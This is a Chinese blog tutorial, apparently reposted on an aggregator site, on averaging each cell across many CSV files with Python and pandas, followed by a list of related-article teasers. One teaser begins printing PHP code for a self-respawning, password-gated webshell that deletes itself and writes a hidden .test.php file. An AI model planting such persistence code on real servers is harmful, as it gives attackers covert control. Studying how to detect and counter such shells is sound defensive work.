Python为Excel中每一个单元格计算其在多个文件中的平均值

news2024/11/16 15:56:26

  本文介绍基于Python语言,对大量不同的Excel文件加以跨文件逐单元格平均值计算的方法。

  首先,我们来明确一下本文的具体需求。现有一个文件夹,其中有如下所示的大量Excel文件,我们这里就以.csv文件为例来介绍。其中,每一个.csv文件的名称都是如下图所示的Ref_XXX_Y.csv格式的,其中XXX表示三个字母,后面的Y则表示若干位数字。

  对于其中的每一个.csv文件,都有着如下图所示的数据格式。

  我们现在的需求是,希望对于每一个名称为Ref_GRA_Y.csv格式的.csv文件,求取其中每一个单元格在所有文件中数据的平均值。例如,对于上图中DOY1blue这个单元格,那么求出来的平均值就是在全部名称为Ref_GRA_Y.csv格式的.csv文件之中,DOY1且列名为blue的单元格的平均值。此外,如果像上图一样,出现了部分单元格数值为0的情况,表明在当前文件夹下,这个单元格是没有数据的,因此需要在计算的时候舍去(并且取平均值时候的分母也要减小1)。

  知道了需求,我们就可以开始代码的书写。其中,本文用到的具体代码如下所示。此外,本文实现的需求也和我们之前的文章基于Python读取多个Excel文件数据并跨越不同xlsx表格文件计算平均值(https://blog.csdn.net/zhebushibiaoshifu/article/details/115533619)有些类似,大家如果有需要,也可以参考之前的这一篇文章。

# -*- coding: utf-8 -*-
"""
Created on Fri Oct  6 13:07:48 2023

@author: fkxxgis
"""

import os
import glob
import pandas as pd

folder_path = "E:/04_Reconstruction/02_Data/01_RGBNINDVI_History"
output_path = "E:/04_Reconstruction/02_Data"
file_pattern = "Ref_GRA_*.csv"

file_paths = glob.glob(os.path.join(folder_path, file_pattern))

combined_data = pd.DataFrame()

for file_path in file_paths:
    df = pd.read_csv(file_path)
    df_filtered = df[df != 0]
    combined_data = pd.concat([combined_data, df_filtered])
    
average_values = combined_data.groupby('DOY').mean()

output_file = "04_Data_YearAverage.csv"
average_values.to_csv(os.path.join(output_path,output_file), index=True)

  其中,上述代码的具体介绍如下。

  首先,我们导入必要的库——os库用于文件路径操作,glob库用于文件匹配,pandas库用于数据处理和分析。同时,我们定义文件夹路径folder_path,代表存储.csv文件的文件夹路径;定义输出路径output_path,代表保存结果文件的路径;定义文件匹配模式file_pattern,用于匹配需要处理的.csv文件的文件名模式。

  随后,我们使用glob.glob()函数结合文件夹路径和文件匹配模式,获取满足条件的.csv文件的路径列表,存储在file_paths变量中。创建一个空的数据框combined_data,用于存储所有文件的数据。

  接下来,我们使用一个循环,遍历file_paths列表中的每个文件路径。对于每个文件路径,使用pd.read_csv()函数加载.csv文件,并将其存储在名为df的数据框中。其次,使用条件筛选语句df[df != 0]排除值为0的数据,并将结果存储在名为df_filtered的数据框中。紧接着,将当前文件的数据框df_filtered合并到总数据框combined_data中,这一步骤使用pd.concat()函数实现。

  完成所有文件的处理后,使用combined_data.groupby('DOY').mean()计算所有文件的平均值,按照DOY列进行分组并求平均值。随后,定义输出文件名output_file,代表保存平均值结果的文件名。

  最后,使用os.path.join()函数结合输出路径和输出文件名,生成保存路径,并使用average_values.to_csv()函数将平均值数据框average_values保存为一个新的.csv文件,指定index=True以包含索引列。

  运行上述代码,我们即可得到结果文件。如下图所示,可以看到结果文件中,已经是计算之后的平均值结果了。

  至此,大功告成。

欢迎关注:疯狂学习GIS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1063587.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux友人帐之账号用户管理

一、账号管理 1.1简介 Linux系统是一个多用户多任务的分时操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账号,然后以这个账号的身份进入系统。 用户的账号一方面可以帮助系统管理员对使用系统的用户进行跟踪&#…

不死马的利用与克制(基于条件竞争)及变种不死马

不死马即内存马&#xff0c;它会写进进程里&#xff0c;并且无限地在指定目录中生成木马文件 这里以PHP不死马为例 测试代码&#xff1a; <?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file .test.php;$code <?php if(md5($_GET["pass…

理解自动驾驶感知技术

理解自动驾驶感知技术 文章目录 什么是自动驾驶感知技术&#xff1f;自动驾驶感知技术的关键组成部分1. 雷达&#xff08;Radar&#xff09;2. 摄像头&#xff08;Camera&#xff09;3. 激光雷达&#xff08;Lidar&#xff09;4. 超声波传感器&#xff08;Ultrasonic Sensors&a…

一文搞懂APT攻击

APT攻击 1. 基本概念2. APT的攻击阶段3. APT的典型案例参考 1. 基本概念 高级持续性威胁&#xff08;APT&#xff0c;Advanced Persistent Threat&#xff09;&#xff0c;又叫高级长期威胁&#xff0c;是一种复杂的、持续的网络攻击&#xff0c;包含高级、长期、威胁三个要素…

法国乐天下单支付流程,自养号测评技术环境揭秘。

Rakuten的前身是PriceMinister一家法国公司&#xff0c;经营电子商务网站PriceMinister&#xff0c;按访问量计算&#xff0c;该网站是法国第五大电子商务网站。2010年&#xff0c;它被乐天公司收购&#xff0c;2018年&#xff0c;它更名为Rakuten。乐天法国Rakuten France&…

蓝桥等考Python组别十四级002

第一部分&#xff1a;选择题 1、Python L14 &#xff08;15分&#xff09; 运行下面程序&#xff0c;输出的结果是&#xff08; &#xff09;。 d {A: 11, B: 12, C: 13, D: 14} print(d[B]) 11121314 正确答案&#xff1a;B 2、Python L14 &#xff08;15分&#x…

蓝桥等考Python组别十四级003

第一部分&#xff1a;选择题 1、Python L14 &#xff08;15分&#xff09; 运行下面程序&#xff0c;输出的结果是&#xff08; &#xff09;。 d {A: 1, B: 2, C: 3, D: 4} print(d[B]) 1234 正确答案&#xff1a;B 2、Python L14 &#xff08;15分&#xff09; 运…

idea多项目复合启动Compound

1、配置多项目同时启动 2、给每个项目分配最大使用内存&#xff08;非必要&#xff0c;内存大的可以不设置&#xff09;

SpringBoot自带模板引擎Thymeleaf使用详解①

目录 前言 一、SpringBoot静态资源相关目录 二、变量输出 2.1 在templates目录下创建视图index.html 2.2 创建对应的Controller 2.3 在视图展示model中的值 三、操作字符串和时间 3.1 操作字符串 3.2 操作时间 前言 Thymeleaf是一款用于渲染XML/HTML5内容的模板引擎&am…

基于Java的企业人事管理系统设计与实现(源码+lw+ppt+部署文档+视频讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

微信开放平台第三方代小程序开发,授权事件、消息与事件通知总结

大家好&#xff0c;我是小悟 时间过得真快&#xff0c;转眼就到了国庆节尾巴&#xff0c;小伙伴们吃好喝好玩好了么。 关于微信开放平台第三方代小程序开发的两个事件接收推送通知&#xff0c;是开放平台代小程序实现业务的重要功能。 授权事件推送&#xff0c;事件类型以In…

面试题: Spring AOP是如何实现的? 它和AspectJ有什么区别?

Spring AOP是如何实现的? 它和AspectJ有什么区别? 背景答案SpringAOP实现与AspectJ区别AOP 的几种实现方案 个人评价 背景 想换工作, 学习一下面试题, 算是学习记录的输出. 答案 SpringAOP实现 Spring AOP 是利用的动态代理的机制, 如果一个Bean 实现了接口, 那么就会采用…

苹果签名的MDM(Mobile Device Management)?是怎么做的?优势是什么?什么场合需要应用到?

苹果签名有多少种类之TF签名(TestFlight签名&#xff09;是什么&#xff1f;优势是什么&#xff1f;什么场合需要应用到&#xff1f; 苹果签名有多少种类之TF签名(TestFlight签名&#xff09;是什么&#xff1f;优势是什么&#xff1f;什么场合需要应用到&#xff1f; MDM&am…

1400*C. Soldier and Cards(贪心模拟)

Problem - 546C - Codeforces Soldier and Cards - 洛谷 解析&#xff1a; 模拟即可&#xff0c;当循环次数过大的时候跳出循环打印 -1 #include<bits/stdc.h> using namespace std; #define int long long const int N2e55; int n,x,k1,k2,cnt; queue<int>a,b;…

LangChain 摘要 和问答示例

在Azure上的OpenAI端点 注意 OpenAI key 可以用微软 用例【1. 嵌入 &#xff0c;2. 问答】 1. import os import openai from langchain.embeddings import OpenAIEmbeddings os.environ["OPENAI_API_KEY"] "****" # Azure 的密钥 os.environ["OP…

Python入门教程50:Pycharm中鼠标滚动,如何实现字体大小自由的缩放

★★★★★博文创作不易&#xff0c;我的博文不需要打赏&#xff0c;也不需要知识付费&#xff0c;可以白嫖学习编程小技巧。使用代码的过程中&#xff0c;如有疑问的地方&#xff0c;欢迎大家指正留言交流。喜欢的老铁可以多多点赞收藏分享置顶&#xff0c;小红牛在此表示感谢…

Http常见问题

说说 HTTP 常用的状态码及其含义&#xff1f; HTTP 状态码首先应该知道个大概的分类&#xff1a; 1XX&#xff1a;信息性状态码2XX&#xff1a;成功状态码3XX&#xff1a;重定向状态码4XX&#xff1a;客户端错误状态码5XX&#xff1a;服务端错误状态码 301&#xff1a;永久性…

Linux上将进程、线程与CPU核绑定

CPU亲和性(CPU Affinity)是某一进程(或线程)绑定到特定的CPU核(或CPU集合)&#xff0c;从而使得该进程(或线程)只能运行在绑定的CPU核(或CPU集合)上。进程(或线程)本质上并不与CPU核绑定。每次进程(或线程)被调度执行时&#xff0c;它都可以由其关联列表中的任何CPU核执行。如果…

洛谷题解 | P9690 [GDCPC2023] Programming Contest

目录 题面翻译题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示题目简化题目思路AC代码 题面翻译 【题目描述】 广东省是全国较早一批将程序设计竞赛引入省内大学生竞赛体系的省份之一。 2003 2003 2003 年&#xff0c;中山大学承办了第一届广东省大学生程序设计…

2023了,学习深度学习框架哪个比较好?

都2023年&#xff0c;才来回答这个问题&#xff0c;自然毫无悬念地选择PyTorch&#xff0c;TensorFlow在大模型这一波浪潮中没有起死回生&#xff0c;有点惋惜&#xff0c;现在GLM、GPT、LLaMA等各种大模型都是基于PyTorch框架构建。这个事情已经水落石出。 不过呢&#xff0c…